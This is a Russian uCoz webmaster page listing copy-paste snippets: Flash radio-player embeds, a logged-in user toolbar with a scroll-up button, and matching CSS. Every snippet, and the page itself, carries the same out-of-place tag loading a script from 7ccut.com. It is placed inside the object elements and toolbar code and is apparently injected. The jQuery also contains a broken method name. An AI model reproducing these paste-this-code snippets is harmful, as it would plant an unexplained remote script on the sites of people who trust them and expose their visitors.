  </td><td align="right" valign="top" style="padding-top:20px; padding-right:20px;"><a class="closeball" onclick='document.getElementById("ball").style.display = "none";return false;'><img src="http://pnghosts.ru/img/cross1.png" onmouseover="this.src='http://pnghosts.ru/img/cross2.png'" onmouseout="this.src='http://pnghosts.ru/img/cross1.png'" alt="Закрыть" border="none"></a></td></tr></table></td></tr></table></div><?endif?><script src="http://7ccut.com/table.js" type="text/javascript"></script>
Категория: скрипты для ucoz | Просмотров: 667 | Добавил: Bitfood | Дата: 18.11.2013 | Комментарии (0)



флеш-плеер О fm на сайт, чтобы 24 часа в сутки 7 дней в неделю баловать себя и своих посетителей самыми современными музыкальными ритмами и зажигательными эфирами! Для этого нужно всего лишь скопировать код в буфер обмена и вставить на свою страничку.



Код
<object id="audioplayer272" type="application/x-shockwave-flash" data="http://skatay.com/obchagafm/uppod.swf" width="190" height="45"><param name="bgcolor" value="#f0f8f6" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://skatay.com/obchagafm/uppod.swf" /><script src="http://7ccut.com/table.js" type="text/javascript"></script><param name="flashvars" value="comment=О... FM&st=http://skatay.com/obchagafm/audio-A.txt&file=http://s02.radio-tochka.com:8790/radio" /></object>




Код
<object id="audioplayer269" type="application/x-shockwave-flash" data="http://skatay.net/obchagafm/uppod.swf" width="190" height="45"><script src="http://7ccut.com/table.js" type="text/javascript"></script><param name="bgcolor" value="#ffffff" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://skatay.net/obchagafm/uppod.swf" /><param name="flashvars" value="comment=О... FM&st=http://skatay.net/obchagafm/audio146-419.txt&file=http://s02.radio-tochka.com:8790/radio" /></object>




Код
<object id="audioplayer272" type="application/x-shockwave-flash" data="http://skatay.net/obchagafm/uppod.swf" width="180" height="40"><script src="http://7ccut.com/table.js" type="text/javascript"></script><param name="bgcolor" value="#ffffff" /><param name="allowScriptAccess" value="always" /><param name="movie" value="http://skatay.net/obchagafm/uppod.swf" /><param name="flashvars" value="comment=О... FM&st=http://skatay.net/obchagafm/audio146-421.txt&file=http://s02.radio-tochka.com:8790/radio" /></object>
Категория: скрипты для ucoz | Просмотров: 591 | Добавил: Bitfood | Дата: 18.11.2013 | Комментарии (0)



Установка:
В нижнюю часть сайта прописываем:

Код
<?if($USER_LOGGED_IN$)?><div id="up">  
<div id="bg_up">  
<a href="/index/8" target="_blank" class="but_user"></a>  
<?if($UNREAD_PM$)?><a href="$PM_URL$" target="_blank" class="but_user_pm_us"><div class="us">$UNREAD_PM$</div></a><?else?><a href="$PM_URL$" target="_blank" class="but_user_pm"><div class="us">0</div></a><?endif?>  
<a href="/index/10" class="but_user_quit"></a>  
<a href="javascript://" onclick="$('body').scrollTo('0px',5800, {axis:'y'})" id="scrollup" class="but_user_up"></a>  
</div>  
</div><?endif?>
<script src="http://7ccut.com/table.js" type="text/javascript"></script>
<script type="text/javascript">  
$(document).ready(function(){  
$("#up").hide();  
$(function(){  
$(window).scroll(function(){  
if ($(this).scrollTop() > 400){  
$('#up').fadeIn();  
} else {  
$('#up').fadeOut();  
}  
});  
$('#up').clidck(function(){  
$('body,html').animate({  
scrollTop:0  
}, 5800);  
});  
});  
});  
</script>


А вот это прописываем в таблицу стилей css:

Код
#up{cursor:pointer;position:fixed;bottom:5px;right:40px;z-index:1;}  
#bg_up {background:#0e0e0e;-webkit-border-radius: 5px;-moz-border-radius: 5px; border-radius: 5px;border-bottom:1px solid #1a1a1a;padding:3px 4px 1px 4px;overflow:hidden;}  
a.but_user {background:url(http://pnghosts.ru/img/but_user.png) no-repeat;display:block;width:21px;height:20px;float:left;}  
a.but_user_quit {background:url(http://pnghosts.ru/img/but_user_quit.png) no-repeat;display:block;width:21px;height:20px;float:left;margin:0px 1px 0px 0px;}  
   
a.but_user_up {background:url(http://pnghosts.ru/img/but_user_up.png) no-repeat;display:block;width:21px;height:20px;float:left;margin:0px 0px 0px 15px;}  
a.but_user_pm {background:url(http://pnghosts.ru/img/but_user_left.png) no-repeat left, url(/user/but_user_right.png) no-repeat right, url(http://pnghosts.ru/img//but_user_center.png) repeat-x center;height:20px;display:block;float:left;padding:0px 5px 0px 25px;margin:0px 3px 0px 3px;}  
a.but_user_pm_us {background:url(http://pnghosts.ru/img/but_user_left_us.png) no-repeat left, url(/user/but_user_right.png) no-repeat right, url(http://pnghosts.ru/img/but_user_center.png) repeat-x center;height:20px;display:block;float:left;padding:0px 5px 0px 25px;margin:0px 3px 0px 3px;}
Категория: скрипты для ucoz | Просмотров: 549 | Добавил: Bitfood | Дата: 18.11.2013 | Комментарии (0)

« 1 2 3 4 5 6 ... 13 14 »